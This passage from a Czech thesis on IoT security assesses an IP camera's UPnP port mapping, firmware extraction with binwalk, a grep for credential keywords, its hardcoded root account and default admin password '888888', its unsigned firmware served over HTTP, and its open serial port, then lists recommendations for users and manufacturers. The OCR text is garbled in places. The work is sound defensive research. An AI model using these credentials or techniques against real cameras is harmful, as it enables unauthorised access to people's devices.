# vlc rstp://192.168.1.107:10554/tcp/av0_1
Zranitelnost dostala oficialni oznaceni CVE-2017-8223 (Kim, 2017).

V. Povolené UPnP

UPnP je sada sitovych protokolli umoziujici navazani komunikace mezi nesourodymi zati-
zenimi. UZivatelskd vyhoda UPnP je automatické pfesmérovani portd na routeru, coz
usnadiiuje konfiguraci pro méné zkusené uzivatele. Nevyhodou z pohledu bezpecnosti je, Ze
umoznuje pfimy pfistup k zatizeni z vnéjsi sité, pficemz prekonava firewall a NAT. UPnP
ma zajistit, Ze pfedmétné zatizeni bude mozné ovladat odkudkoli z vnéjsi sité.

Ovéreni
UPnP je casto ve vychozim stavu povolené na domacich routerech, proto je vhodné jej
v ramci zvyseni bezpe€nosti zablokovat.

Demonstrace
Testované zafizeni se automaticky pokusilo prostfednictvim UPnP otevfit pfesmérovany

port na routeru. Tento pokus byl zaznamenan do logu na zafizeni:

# cat /tmp/upnpStatus.txt
List of UPNP devices found on the network
desc: http://10.0.0.1/root.sxml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1l
Found valid IGD : http://10.0.0.1:4444/wipconn
Local LAN ip address : 10.0.0.198
Connection Type : IP Routed
Status : Connected, uptime=1887s, LastConnectionError : ER-
ROR_NONE
Time started : Sun Jun 17 17:44:01 2018
MaxBitRateDown : 100000000 bps MaxBitRateUp 100000000 bps
ExternalIPAddress = 192.168.1.164
0 UDP 10792->10.0.0.198:10792 'ipcam-h264"' ''
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1 UDP 10793->10.0.0.198:10793 'ipcam-h264' "'

2 UDP 10794->10.0.0.198:10794 'ipcam-h264' ''

3 UDP 10795->10.0.0.198:10795 'ipcam-h264' ''
GetGenericPortMappingEntry () returned 713 (SpecifiedArrayInde-
xInvalid)

4.2.6 Firmware a aktualizace

Firmware, jakozto zdkladni mikroprogramové vybaventi, fidi funkcionalitu vétSiny loT zafi-
zeni. Pro analyzu firmwaru je nutné jej ziskat, naptiklad ve formé .bin souboru. Snadno se
soubor firmwaru ziskava z aktualizatniho serveru, nékdy i1 vcetn¢ predchozich verzi.
(Howson, 2016)

Dalsi metody jsou pro bézné uzivatele slozitéjsi, presto budou uvedeny. Jde naptiklad
o ziskani firmwaru skrz tzv. bootloader, tedy jeho zavadé¢. K tomu je nutny piistup k sério-
a precteni jeho logiky. (Howson, 2016)

Zakladnim nastrojem analyzy firmwaru bude Linuxovy nastroj binwalk. Lze ale vyuzit

1 jinych nastroju, naptiklad Firmwalker, profesionalni IDA Pro aj.
I. Hesla nebo Sifrovaci klice primo v koédu firmware

Citlivé udaje jako uzivatelské Ucty, hesla, Sifrovaci klice a dal$i by nemély byt snadno vidi-
telné ptimo v kodu firmware. Vhodnéjsi je, pokud vyvojar kod néjakym zpisobem obfuskuje
nebo citlivé ¢asti zaSifruje tak, aby se deSifrovaly az pti rozbalovani nebo spusténi kodu.
(OWASP, 2016)

Overeni
K ovéfeni, zda kod obsahuje citlivé idaje je nutné provést zadkladni reverzni analyzu binarky

firmwaru. Po jeho ziskani je prvnim krokem extrakce ptikazem:
# binwalk -Mer firmware.bin
Nastroj binwalk rozbali firmware do samostatné slozky. Ve stromové struktufe vytvofenych
adresafti a souborli 1ze nyni vyhledat jakékoli citlivé udaje, nejlépe ziejmé dle klicovych
slov: passwd, admin, conf, cfg, ssh, ftp, root, ssl, pem, crt, shadow a dalSich v z&vislosti na
typu zafizeni. Rekurzivniho hledani l1ze docilit ptikazem:
# grep -r -A 1 -B 1 \ 'passwd\|ad-
min\|conf\|cfg\|ssh\|ftp\|root\|ssl\|pem\ | crt\|shadow'

Vysledkem tohoto ptikazu jsou tiitadkové ¢asti kodu, kde se dané klicové slovo vyskytuje.
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Demonstrace
Extrakce testovaného firmware pomoci néstroje binwalk byla uspésna, vytvorila se nasledu-

jici adresérova struktura:

system/
init
—— ipcam.sh
— seq _ap6l8l.sh
system
—— bin
—— Env.bin
—— brushFlash
— cmd_ thread
—— encoder
—— fwversion.bin
— [...]
—— motogpio.ko
—— sysversion.txt
—— wifidaemon
— wpa_supplicant

— 1ibOnvif.so
— libsns ar0130.so
— [...]

— libvoice arm.so

Ptikaz grep uvedeny vySe nalezl nékolik ¢asti kodu, kde se vyskytovalo jedno z kliCovych
slov. Nejzajimavéjsi se zdal soubor system/system/bin/wifideamon, ve kterém byl definovan
uzivatelsky udet v /etc/passwd a také administratorsky ui¢et webového rozhrani. Udet vstar-
cam2017 v /etc/passwd mél nahodné generované heslo. Uéet admin webového rozhrani mél

vychozi heslo nastavené na 888888. Casti souboru wifideamon:
[...]

user:%s pwd:%$s

/etc/passwd
vstarcam2017:%s:0:0:Administrator:/:/bin/sh
[...]

WIFICAM

time.nist.gov

admin

888888

[...]

Dalsi problematické data uvnitt kodu firmwaru nebyla nalezena.

II. Chybéjici digitalni podpis firmwaru

Digitalni podpis prokazuje autenticitu stahovaného souboru a implicitn€ oveéfuje vydavatele
softwaru ¢i firmwaru. Aby byla zaru€ena jeho integrita, mél by byt digitalni podpis zalozen

na PKI. Samoziejmé by zatizeni mélo tento podpis oveiovat.
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Ovéreni
Binarni soubor firmwaru je obycejné jen ZIP archiv rozsifeny o zéhlavi a zapati. Pro pode-
pisovani neexistuje standard, proto nelze uvést jednoznacny postup, kde a jak podpis najit

a ov¢rit. Hlavicku a zapati je ale mozné nechat si vypsat prikazem:

# hexdump -C firmware.bin|head && hexdump -C firmware.bin|tail
Demonstrace
Rozsiteni testovaného souboru firmwaru neobsahuje zadny prvek PKI, coz naznacuje, ze
soubor neni digitalné podepsan. Retézce v zahlavi a zapati jsou sice ovéfovany na shodu, ale

bez dal$i ochrany jsou snadno manipulovatelné.

00000000 776966692d63616d6572612d6170702d |wifi-camera-app- |
00000010 71617a77737865646372667674676261 |qgazwsxedcrfvtgba |
00000020 b6ball00504b03040a0009000000e65e |....PK.evvn.. ~
00000030 3449000000000c000000000000000400 4T. e v e,
00000040 00007777772£8£fd18e709f96e728f%9a9 |..www/...p ( |
00000050 db2f504b0708000000000c0000000000 | ./PK.vveewennennn |
00000060 0000504b03041400090008009056ee48 |..PK. ..o .... V.H |
00000070 4c445e9734060000482900000d000000 |LD™.4...H) ...... |
00000080 7777772f61646d696e2e68746d8fd18e |www/admin.htm... |
00000090 709f96e728f9%a9%ad54cfa2f85a2el15e5 |p..c. (... T Z.. |
0011ba70 040c1l0007777772£77696669636f6e66 |....www/wificonf |
0011ba80 69672e7761765040102140014000900 |ig.wavPK........ |
0011ba%0 08007091794558b9d50dbc0a0000592d |..p.yEX....... Y- |
001llbaal0 00001000000000000000010020000000 | weweweeeweennnn
0011bab0 027d11007777772£776972656c657373 |.}..www/wireless |
00llbacO0 2e68746d504b050600000000bc00bc00 | .htmPK.......... |
001llbad0 a4320000£c8711000000776966692d63 |.2........ wifi-c |
001llbael0 616d6572612d656e642d79686e756a6d |amera-end-yhnujm |
001lbaf0 7a617178737763646566000000000000 |zagxswcdef

III. Nedostate¢né aktualizace firmwaru

Firmware [oT by mé&l byt pravidelné a Casto aktualizovan. Neni-li tomu tak, zvySuje se riziko
vyskytu bezpednostnich zranitelnosti &i nekompatibility s nékterymi systémy. Casté aktua-
lizace také ukazuji, ze produkt je stale aktivné vyvijen, zvySuje se pravdépodobnost jeho
funk¢nosti a prodluzuje se jeho zivotni cyklus.

Ovérent
Frekvenci vydavani aktualizaci 1ze vétSinou ovéfit na strankach, odkud je firmware staho-
van. Lze také procist diskuzni fora, kde ostatni uzivatelé sdili zkuSenosti s danym IoT

zafizenim.
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Demonstrace
Vyrobce testované IP kamery poskytuje nové aktualizace na webové strance
http://cd.gocam.so/FM/system/firmware.txt, kde je 1 zvefejnén historicky seznam verzi fir-
mwaru za roky 2017 a 2018. Za tyto dva roky bylo vydano nejmén¢ 41 verzi, coz znamena

Casté verzovani témet dvakrat mésicné.
IV. Aktualizace nejsou Sifrovany

Aktualizace by mély byt ze serveru stahovany Sifrovanym protokolem, aby se pfedeslo moz-
nosti, ze MITM tto¢nik bude schopen firmware upravit a poskytnout koncovému uzivateli
modifikovanou verzi. Implementace SSL/TLS na webovych strankach ma kromé Sifrovani
jesté vyznam v ovéteni autenticity aktualizaniho serveru certifikatem.

Oveéreni
Sifrovani komunikaéniho protokolu, pies ktery se aktualizaéni firmware stahuje je bud’
ptimo ziejmé, jde-li o HTTP nebo FTP protokol, nebo Ize ovéfit spusténim zachytavani da-
tového provozu a naslednou analyzou naptiklad v néstroji Wireshark.

Demonstrace
Aktualizacni server testované IP kamery poskytuje .bin firmware v komprimovaném for-

matu ZIP standardnim HTTP protokolem. Zadné §ifrovani neni piitomno.

GET http://cd.gocam.so/FM/system/CH-sys-48.53.75.115.zip

Host: cd.gocam.so

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: text/html, application/xml;g=0.9,*/*;g=0.8
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK

Content-Type: application/x-zip-compressed
Content-Length: 1243176

Connection: keep-alive

Last-Modified: Mon, 28 May 2018 10:11:43 GMT
UEsDBBQAAAATANUBVEzZmMfOcTdPcSAEY [.. . ]

V. Slozitost aktualizacniho procesu

Aktualizacni proces by mél byt uzivatelsky piivétivy a automaticky. Nelze oc¢ekavat, Ze
bézny uzivatel bude pravidelné¢ manualné kontrolovat dostupnost novych aktualizaci, nebo
Ze si bude za timto Gc¢elem instalovat dalsi aplikace. Vhodné&jsi ptistup je uzivatele upozornit

na dostupnou aktualizaci ¢ekajici na instalaci ve chvili, kdy k tomu uzivatel svoli.
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Overeni
Nastaveni aktualizaci se obvykle provadi v nékterém administraénim rozhrani (mobilni apli-
kace ¢i web). Aktualizace by méla byt automaticka nebo na jedno potvrzeni uzivatele.
Demonstrace
Firmware testované IP kamery lze aktualizovat dvéma zpiisoby. Prvni je prostfednictvim
MS Windows aplikace Smart upgrade tool, kterd v lokalni siti vyhled4a IP kameru a sama
zajisti aktualizaci firmwaru. Druhy, uZivatelsky ptivétiveéjsi, zpisob spociva v aktualizaci
prostfednictvim mobilni aplikace Eye4, kde staci jednim kliknutim potvrdit instalaci, ktera

se nasledn¢ provede (obrazek 28).

Obrazek 28: Aktualizace firmware pfes mobilni aplikaci

> EX all 6% & 19:02

Upgrade

kamerka
latest:48.53.75.115
Current:48.53.75.103

No version upgrade Ignore

Upgrade All

VI. Chybéjici moZnosti logovani

Zdroj: vlastni zpracovani

Firmware IoT zatizeni by mél umoziiovat bezpe¢nostni monitoring udalosti prostfednictvim
logovani. Nasbirané logy jsou ukladany lokaln€ nebo zasildny na logovaci server, nejcastéji

ve standardu syslog.
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Ovéreni
V Linuxovych systémech je vychozim umisténim pro ukladani logi cesta /var/log. Konfigu-
racni soubory logovani jsou nejcastéji v /etc. Je-li potfeba zjistit, jaké druhy logovani
zatizeni poskytuje, Ize vykonat nasledujici piikaz:

# 1ls -d /etc/*syslog*
Vétsinou by se mély ve vystupu piikazu objevit .conf soubory, ve kterych se logovani na-
stavuje. Druhou moznosti, snazsi pro méné pokrocilé uzivatele, je kontrola logu ve webovém
administracnim rozhrani.

Demonstrace
JelikoZ nastavovani a vyhodnocovani syslog logli v domacich podminkach je nepravdépo-
dobné, byly ovéfeny logovaci schopnosti zafizeni ve webovém rozhrani. Testovana IP
kamera sice poskytuje log (obrazek 29), ten vSak obsahuje zcela irelevantni informace, ne-

obsahuje ani zdznamy o ptihlaSeni uzivatele nebo o dalSich aktivitdich kamery.

4.2.7 Fyzicka bezpecnost

Fyzicka bezpecnost je Siroka kategorie, ktera nemusi byt pro mnoho aplikaci prioritou. Pti
analyze je proto tfeba zvazit, v jakém prostfedi bude IoT zafizeni nasazeno a jaka z toho

plynou rizika.
I. Vypnuti ¢i restart zarizeni

Jako potencialni zranitelnost 1ze v nékterych prosttedich oznacit snadny pfistup k vypinaci,
tlacitku reset zafizeni nebo kabelu napajeni. ZneuZiti vede na tok typu DoS, ktery trvale ¢i
docasné znefunk¢ni dané zatizeni. Rizikem je 1 neimyslna nespravna manipulace, pfi niz by
doslo k vypadku.

Ovéreni
Spociva v nalezeni konektoru napajeni, tlacitka vypnuti nebo resetu a vyhodnocenti rizik,
ktera mohou vzniknout.

Demonstrace
Testovana IP kamera je urcend do interiért, a z toho ditvodu nedisponuje rozsitenou ochra-

nou vuci fyzickym utokiim. Tlacitko reset je standardné zapusténé, aby se zabranilo

nechténym stisknutim (obrazek 30).
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Obrazek 29: Logovani IP kamery

Camera(kamerka) - lceweasel e ® 0

/ Camera(kamerka) ® |+

| € | @ 10.0.0.198:37499/admin.htm v C."‘ |C\ Search | wBE ¥+ @& »

'P‘ Network Settings Log

..: Alarm Settings 2018-06-20 14:56:51 localhost msntp verify time ok M
2018-06-20 14:56:51 localhost ntp ok

2018-06-20 14:57:48 PPPP_Listen out handle -3

2018-06-20 15:00:39 PPPP_Listen out handle 3 »
2018-06-20 15:01:07 PPPP_Listen out handle 4

2018-06-20 15:05:27 PPPP_Listen out handle 0

2018-06-20 15:05:42 PPPP_Listen out handle 1

2018-06-20 21:05:40 localhost pc sync time ok

2018-06-20 21:05:41 PPPP_LoginStatus_Check end=0

2018-06-20 21:05:47 localhost msntp verify time ok

2018-06-20 21:05:47 localhost ntp ok

2018-06-20 21:06:00 localhest pc sync time ok

2018-06-20 21:06:07 localhost msntp verify time ok

2018-06-20 21:06:07 localhost ntp ok

2018-06-20 21:06:06 localhost pc sync time ok

2018-06-20 21:06:11 localhost msntp verify time ok

2018-06-20 21:06:11 localhost ntp ok

2018-06-20 21:06:33 localhost pc sync time ok

2018-06-20 21:06:37 localhost msntp verify time ok

2018-06-20 21:086:37 localhost ntp ok

2018-06-20 21:06:35 localhest pc sync time ok

2018-06-20 21:06:39 localhost msntp verify time ok

2018-06-20 21:06:39 localhost ntp ok

2018-06-20 21:07:05 PPPP_Listen out handle 3

2018-06-20 21:12:02 localhost msntp verify time ok

2018-06-20 21:12:02 localhost ntp ok

2018-06-20 21:12:43 PPPP_Listen out handle -3

2018-06-20 21:18:16 PPPP_Listen out handle -3

2018-06-20 21:23:50 PPPP_Listen out handle -3

2018-06-20 21:27:09 localhost msntp verify time ok \J
2018-06-20 21:27:09 localhost ntp ok
2018-06-20 21:29:24 PPPP Listen out handle -3

| clear ” Refresh

Zdroj: vlastni zpracovani

Obrazek 30: Konektor napajeni a tlacitko reset IP kamery

Zdroj: vlastni zpracovani
II. Poskozeni zaFizeni ¢i odstranéni jeho casti

Zatizeni by nemélo byt snadno rozebiratelné a nemélo by byt mozné jednoduse odstranit
nckteré Casti, jako jsou naptiklad antény, senzory a dalsi kritické prvky. Pfi umisténi zafizeni

je také tfeba dbat na jeho ptipadné poskozeni ttocniky nebo ptirodnimi silami.
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Overeni
Jelikoz velmi zalezi na typu zafizeni, 1ze obtizné sepsat obecny postup ovéteni této zranitel-
nosti. Nej€astéji ale plijde o nalezeni cesty, jak se dostat k hardwaru zatizeni ptes vné&j$i
schranku. Ma-1i zatizeni oddé€lené ¢asti jako antény nebo senzory, spo€iva ovéteni v pokusu
0 jejich odstranéni.

Demonstrace
Vnéjsi schranka testovaného zafizeni ochrafiuje hardware uvniti ttemi kiiZovymi Sroubky,
které jsou ukryty na spodni strané pod protiskluzovymi podlozkami (obrazek 31). Samotna
¢ocka a senzor kamery pak jsou odd€lené chranény ¢tyimi Sroubky. Wi-Fi anténa je snadno
odnimatelnd. Zatizeni neni uréeno do exteriéru, takze nema ochranu proti vniknuti prachu

ani vlhkosti.

Obrazek 31: Hardware uvniti' I[P kamery

Zdroj: vlastni zpracovani
III. Manipulace se ziskavanymi daty ze senzori

Umisténi senzori [oT zatizeni by mélo byt v souladu s ochranou vii¢i manipulaci se ziska-
vanymi daty. Uto¢nikovi by nemélo byt umoznéno meénit prosttedi nebo komunikacni kanal

mezi senzory a piijimacem.
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Overeni
Metoda ovéieni je opét velmi zavisla na typu zatizeni, komunika¢nim kandlu senzorti a pied-
meétu senzorti. Moznym vektorem utoku je neSifrovany bezdratovy komunikacni kanal mezi
senzory nebo jejich umisténi umoziujici fyzickou manipulaci (napt. zakryti cocky kamery,
odsttihnuti kabelu mikrofonu, vystaveni vlhku, nestandardni teploté¢ atd.).

Demonstrace
Modul s coc¢kou a senzorem IP kamery je oddéleny od zékladni desky a propojeny drobnymi
kabelovymi svazky, jak je znazornéno na obrazku 32. Ptistup do modulu je fyzicky chranén

Ctyimi kiizovymi Sroubky. Zasah do zorného pole kamery je zavisly na jejim umisténi.

Obrazek 32: Zapojeni senzoru IP kamery

o 1T
VAR BOT0E Mo v23isn
o

Zdroj: vlastni zpracovani
IV. Ziskani ulozisté dat

Jsou-li data ukladana pfimo v zafizeni, naptiklad na pamétové karté, mélo by byt uloziste

dat chranéno vici jeho ziskdni, odstranéni, zmén¢ dat, jejich pfecteni ¢i smazani. Na bazi

firmwaru by navic mélo byt Sifrovano, aby byla zajisténa jeho diivérnost a integrita.
Ovéreni

Spociva v pokusu o piecteni obsahu pamét'ové karty v jiném zafizeni a naslednému smazani

nebo upraveni ulozenych dat.
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Demonstrace
Testovana kamera disponuje slotem pro pamétovou kartu, ktery je snadno dostupny z vnéj-
Siho prostfedi. Obsah pamét'ové karty neni Sifrovany ani jinak chranény vuci pfecteni,

smazani nebo upraveni dat.
V. Ziskani firmwaru z ¢ipu

Obtizné zneuzitelnou zranitelnosti je extrakce firmwaru z hardwaru zafizeni, konkrétné
z flash paméti uloZzené v integrovaném obvodu na zékladni desce. K této pokrocilé technice
se pristupuje az tehdy, selZzou-li vSechny ostatni pokusy o ovladnuti zafizeni. Technika vy-
zaduje zna¢nou zkusSenost a vybavenost. Navic mize byt destruktivni.
Ovéreni
Z pohledu vyrobce i uzivatele Ize tuto hrozbu minimalizovat pomérn¢ obtizn¢. Ma-li k nému
uto¢nik ptimy piistup, v podstaté neni zpusob, jak ziskani flash paméti zabrénit.
Demonstrace
Na zékladni desce testovaného zafizeni se nachazi tfi integrované obvody, na nichz maze

byt firmware potencialné uloZen. Bez potifebného vybaveni nebylo mozné pokracovat.
VI. Nadbytecné externi porty

Stejné jako u otevienych sitovych portl, kazdé fyzické rozhrani predstavuje potencialni
hrozbu v jeho zneuziti. Externi porty zahrnuji u IoT zejména USB, FireWire, RS-232, Ether-
net, pfipadné slot pro pamét'ovou kartu.

Ovéreni
Spociva v identifikaci externich portl zatizeni. Jsou-li pfitomny nékteré porty, které by
mohly ptedstavovat riziko a nebudou vyuzivané, je vhodné je hardwarove odpojit nebo je
zapecetit.

Demonstrace
Testované zatizeni obsahuje sitovy Ethernet port a slot pro pamét'ovou kartu. Obé rozhrani

maji své opodstatnéni, 1ze tedy konstatovat, ze zatizeni neobsahuje nadbyte¢né externi porty.
VII. Pristup k sériovému rozhrani

Na zakladni desce IoT zafizeni se Casto vyskytuje sériové rozhrani, které vyrobcei vyuZivaji

pro testovani a diagnostiku pfi vyrob¢ zatizeni, a které poskytuje administratorské rozhrani
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(shell). U novéjsich zatizeni je sériové rozhrani nahrazeno JTAG, UART nebo SWD rozhra-
nim. Vyrobci se neziidka snazi fyzickému piistupu k sériovému portu zamezit.

Overeni
Spociva v nalezeni pinii sériového rozhrani a jeho propojeni napf. prostfednictvim USB s po-
¢itacem. K identifikaci spravného sériového rozhrani lze vyuzit terminalovy piikaz:

# 1s /dev/tty.*

Demonstrace
Na zdkladni desce tisténych spojii testovaného zatizeni je nezabezpecené sériové rozhrani

(obrazek 33). Pro Uto¢nika s fyzickym pfistupem neni problém toto rozhrani zneuzit.

Obrazek 33: Otevieny sériovy port

Zdroj: vlastni zpracovani
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5 Zhodnoceni a doporuceni

V této kapitole budou zhodnoceny dosazené vysledky a uvedeny klicové aspekty prace. Nej-
vyrobce i uzivatele. Tyto seznamy doporuc¢eni mohou byt uzivateli brany jako jakysi ,,chec-
klist Cinnosti, které je vhodné v ramci ovéieni bezpecCnosti sit€ s prvky internetu véci
zkontrolovat, zajistit nebo nastavit.

Seznamy doporuceni zaroven poskytuji jiny pohled na vysledky diplomové prace, a to
ve formé¢ strukturované metodiky, kterou mohou uzivatelé i vyrobci vyuzit pro ovéteni bez-
pecnosti prvkil IoT a minimalizaci hrozeb popsanych v pedchozich kapitolach.

Metodika je oddélena zvlast’ pro uzivatele a vyrobce, protoze nékteré hrozby a zrani-
telnosti nemtize druha skupina ovlivnit a zodpovédnost zajisténi bezpecnosti je v riznych

aspektech odlisna

5.1 Doporuceni uzivateliiom

Nejprve budou uvedena doporuceni uzivatelim. Jejich zodpovédnost spociva zejména ve
spravné konfiguraci zatizeni, jeho fyzické ochrang, volbé bezpec¢nych piihlaSovacich udajt

a uvédoment si rizik, kterd miize loT pfedstavovat.
1. UzZivatelské ucty a hesla

a. Vychozi hesla pro kazdou sluZzbu 1 rozhrani by méla byt vzdy zménéna pfii
inicializaci zatizeni. To je obecny pfedpoklad heslové politiky.

b. Hesla by méla byt unikatni pro kazdé zatizeni, kazdy ucet, kazdou sluzbu
a kazdé rozhrani. To je obecny predpoklad heslové politiky.

c. Hesla by méla byt vzdy komplexni — pro citlivé sluzby obsahujici nejméné
8 znakl, velké 1 mala pismena, ¢isla a specidlni znaky. Zpisoby ovéteni pak
byly ukdzany v piislusnych kapitolach tykajicich se danych rozhrani. (Vice
viz kapitoly 4.2.1, sekce 1I.; 4.2.2, sekce IV.; 4.2.3, sekce 1X.; 4.2.4, sekce
IL)

d. Je-li to moZné, je vhodné nastavit vicefaktorovou autentizaci alespoii u slu-
zeb a rozhrani, jez mohou byt pfistupné z vngjsi sité. Zplsoby ovéteni byly
opét uvedeny v prislusnych kapitolach tykajicich se danych rozhrani. (Vice

viz kapitoly 4.2.4, sekce VII.; 4.2.2, sekce VIII.)
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e. Uzivatel by mél vzdy pracovat s nejmensim moznym opravnénim, jelikoz
byla ovéfena dostatecna granularita uzivatelskych opravnéni. (Vice viz ka-
pitola 4.2.1, sekce II1.)

f.  Je-li to mozné, je vhodné nastavit zamykani uctt po definovaném poctu ne-
uspésnych ptihlaseni, a to opét alespoil u sluzeb a rozhrani, jez mohou byt
pristupné z vnéjsi sité. (Vice viz kapitoly 4.2.2, sekce I11.; 4.2.3, sekce VIIL;
4.2.4, sekce I11.)

g. Uzivatel by m¢l vhodné nastavit podminky procesu obnovy hesla, nejlépe
zadanim e-mailové adresy, na kterou se zasSle nové vygenerované heslo
s omezenou platnosti. Nelze doporucit nastaveni bezpecnostnich otazek.

(Vice viz kapitoly 4.2.2, sekce V.; 4.2.3, sekce X.; 4.2.4, sekce IV.)
2. Webové rozhrani

a. Umoznuje-li to webové rozhrani, je vhodné nastavit HTTPS certifikat, diky
némuZz bude komunikace Sifrovana a zaroveil bude server stejnym zpiso-

bem autentizovan. (Vice viz kapitola 4.2.2, sekce VII.)
3. Mobilni aplikace

a. Mobilni aplikace pro ovladani prvka IoT by nemély byt instalovany z neo-
ficialnich mist mimo distribu¢ni kanaly pfislusnych operacnich systému,
tedy mimo Google Play pro Android a App Store pro 10S. (Vice viz kapitola
4.2.3, sekce I.)

b. UzZivatel by nem¢l pfijmout takova prava vyzadovana aplikaci, ktera by ji
umoznila nechtény pfistup k citlivym datim uZivatele. (Vice viz kapitola
4.2.3, sekce I1.)

c. Mobilni aplikace je vhodné automaticky aktualizovat. (Vice viz kapitola
4.2.3, sekce I1I.)

d. Je-li mobilni aplikace stahovana nebo aktualizovéana z neoficidlniho zdroje,
je vhodné alespon verifikovat digitalni podpis vyrobce aplikace. (Vice viz

kapitola 4.2.3, sekce VI.)
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4. Cloud

a. Uzivatel by mél zvazit ptipojeni zatizeni do cloudu, neni-li ten vybaven Sif-
rovanim HTTPS. (Vice viz kapitola 4.2.4, sekce VI.)

b. Uzivatel by se m¢l vyvarovat sdileni citlivych informaci kviili mozné ne-
spravné manipulaci s uzivatelskymi daty ze strany neduvéryhodnych

poskytovatelt sluzeb. (Vice viz kapitola 4.2.4, sekce VIII.)
5. Sitové sluzby, protokoly a architektura sité

a. Navrh sitové architektury by mél splitovat principy bezpecnosti. Ty spoci-
vaji v preferenci dratovych propojeni, nestandardnim ptidélovani jmen a IP
adres, segmentaci sité dle kruhi divéry, ptipadné implementovani VPN ser-
veru uvniti sit€, jenzZ by umoznil autorizovany piistup do privatni sité
zvenci. (Vice viz kapitola 4.2.5, sekce 1.)

b. Zabezpeceni sité, do niz se zapojuje prvek IoT by mélo byt na dobré Grovni.
Wi-Fi by méla byt chranéna dostate¢né¢ dlouhym a komplexnim heslem
s Sifrovanim WPA2. Router-switch, coby centralni prvek sité¢ by také mél
byt chranén silnym heslem. Pravidla firewallu by neméla umoznovat TCP
forwarding. Pro pokrocilej$i uzivatele je mozné doporucit zapojeni prvku
IDS/IPS. (Vice viz kapitola 4.2.5, sekce 11.)

c. Je-li to v konfiguraci zafizeni moZné, je vhodné zastavit nevyuZivané
sluzby, popiipad¢ zavfit jejich oteviené porty. (Vice viz kapitola 4.2.5,
sekce I11.)

d. Neni-li pfistup k zafizeni z vné&j$i sit€ Zadanou funkeci, je vhodné zablokovat
na hrani¢nim routeru UPnP. Pfipadné je vhodné&j$i funkcionalitu implemen-
tovat VPN serverem umisténym uvniti sité. (Vice viz kapitola 4.2.5, sekce

V.)
6. Firmware a aktualizace

a. UZivatel by mél povolit automatické aktualizace firmwaru, pfipadné je in-
stalovat bez zbyte¢ného odkladu. (Vice viz kapitola 4.2.6, sekce I1I. a V.)
b. Aktualizuje-li uzivatel firmware manuélné, je vhodné ovéfit digitalni podpis

firmwaru. (Vice viz kapitola 4.2.6, sekce II.)
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c. Umoznuje-li to nastaveni, mélo by zafizeni logovat alespon zékladni mno-

zinu sledovanych udélosti. (Vice viz kapitola 4.2.6, sekce VI.)
7. Fyzicky pristup

a. Uzivatel by pfi umisténi zafizeni m¢l zamezit vypnuti Ci restartu zatizeni.
(Vice viz kapitola 4.2.7, sekce 1.)

b. Uzivatel by pfi umisténi zatizeni mél zamezit poskozeni ¢i odstranéni jeho
casti. (Vice viz kapitola 4.2.7, sekce I1.)

c. Uzivatel by pfi umisténi zatizeni mél zamezit manipulaci se ziskdvanymi
daty ze senzori. (Vice viz kapitola 4.2.7, sekce II1.)

d. Uzivatel by pfi umisténi zafizeni mél zamezit ziskani ulozisté dat. (Vice viz
kapitola 4.2.7, sekce IV.)

e. Je-li to vzhledem k umisténi zafizeni nutné, je vhodné znepfistupnit nadby-
teCné externi porty jejich odpojenim ¢i zapeceténim. (Vice viz kapitola
4.2.7, sekce VI.)

f.  Je-li to vzhledem k umisténi zatizeni nutné, je vhodné znepfistupnit sériové

rozhrani. (Vice viz kapitola 4.2.7, sekce VIL.)
8. Obecna doporuceni

a. K prvku IoT je vhodné vzdy ptistupovat jako k potencialni hrozbé.
b. Pfipoftizeni [oT zatizeni je vhodné preferovat produkty renomovanych vy-

robctl.

5.2 Doporuéeni vyrobciim

Nasleduje seznam doporuceni vyrobcum. Ti jsou zodpoveédni za spravny navrh, korektni

implementaci a zékladni konfiguraci jejich produkti.
1. Uzivatelské ucty a hesla

a. Vychozi hesla k uzivatelskym uctim by méla byt generovand nahodné pro

kazdé jednotlivé zatizeni. (Vice viz 4.2.1, sekce V.; 4.2.2, sekce 1.)
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b. Hesla by méla byt vyzadovana komplexni — obsahujici nejméné 8 znakd,
velkd i mala pismena, ¢isla a specialni znaky. (Vice viz kapitoly 4.2.1, sekce
II.; 4.2.2, sekce IV.; 4.2.3, sekce IX.; 4.2.4, sekce II)

c. Ptiinicializaci zatizeni by méla byt vyzadovana zména vychozich ptihlaso-
vacich udaju. (Vice viz kapitola 4.2.2, sekce 1.)

d. Priihlasovani k uzivatelskym G¢tim by mélo byt chranéno vii¢i hadani hesla
zamykanim. (Vice viz kapitoly 4.2.2, sekce III.; 4.2.3, sekce VIIL.; 4.2.4,
sekce I11.)

e. Hesla by méla byt vzdy ukladana bezpecnym zplisobem dle soucasnych
standardii. Minimem je bezpecna hashovaci nebo Sifrovaci funkce v kombi-
naci s nahodnou a unikatni soli. (Vice viz kapitola 4.2.1, sekce 1.)

f.  Uzivatelské ucty by mély spliiovat dostatecnou granularitu uZivatelskych
opravnéni. (Vice viz kapitola 4.2.2, sekce IV.)

g.  Vyrobce by mél implementovat reautentizaci pii zasadnich zménach nasta-
veni. (Vice viz kapitola 4.2.1, sekce II1.)

h. Meéla by byt implementovana mozZnost vicefaktorové autentizace. (Vice viz
kapitoly 4.2.2, sekce VIII.; 4.2.4, sekce VII.)

1. VSechny uZivatelské ucty by mély byt dokumentovany a popsany. (Vice viz
kapitola 4.2.1, sekce V.)

j. Enumeraci ucti by se mélo zabranit jednotnou odezvou pro existujici i nee-
xistujici ucet. (Vice viz kapitoly 4.2.2, sekce II.; 4.2.3, sekce VII.; 4.2.4,
sekce I.)

k. Proces obnovy hesla by mé¢l byt navrZzeny s ohledem na souc¢asné standardy,
tedy pfes e-mailovou schranku a jednorazovy odkaz. (Vice viz kapitoly

4.2.2,sekce V.; 4.2.3, sekce X.; 4.2.4, sekce IV.)
2. Webové rozhrani

a. Webové rozhrani by mélo automaticky implementovat HTTPS Sifrovani
certifikdtem ulozenym ve firmwaru zatizeni. (Vice viz kapitola 4.2.2, sekce
VIL)

b. PtihlaSovaci idaje a dalsi citlivé informace jako tokeny a cookies by nemély
byt pfenaseny v oteviené formé, ale mély by byt Sifrovany ¢i jinak chranény.

(Vice viz kapitola 4.2.2, sekce VI.)
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c. Webovy server by nemél obsahovat bézné zranitelnosti webovych aplikaci
jako XSS, CSRF, RFI, LFI, SQL injection a dalsi. (Vice viz kapitola 4.2.2,
sekce 1X.)

3. Mobilni aplikace

a. Mobilni aplikace by mély byt distribuovany oficidlnimi kandly pro ptislusné
OS, tedy Google Play pro Android a App Store pro i0S. (Vice viz kapitola
4.2.3, sekce 1.)

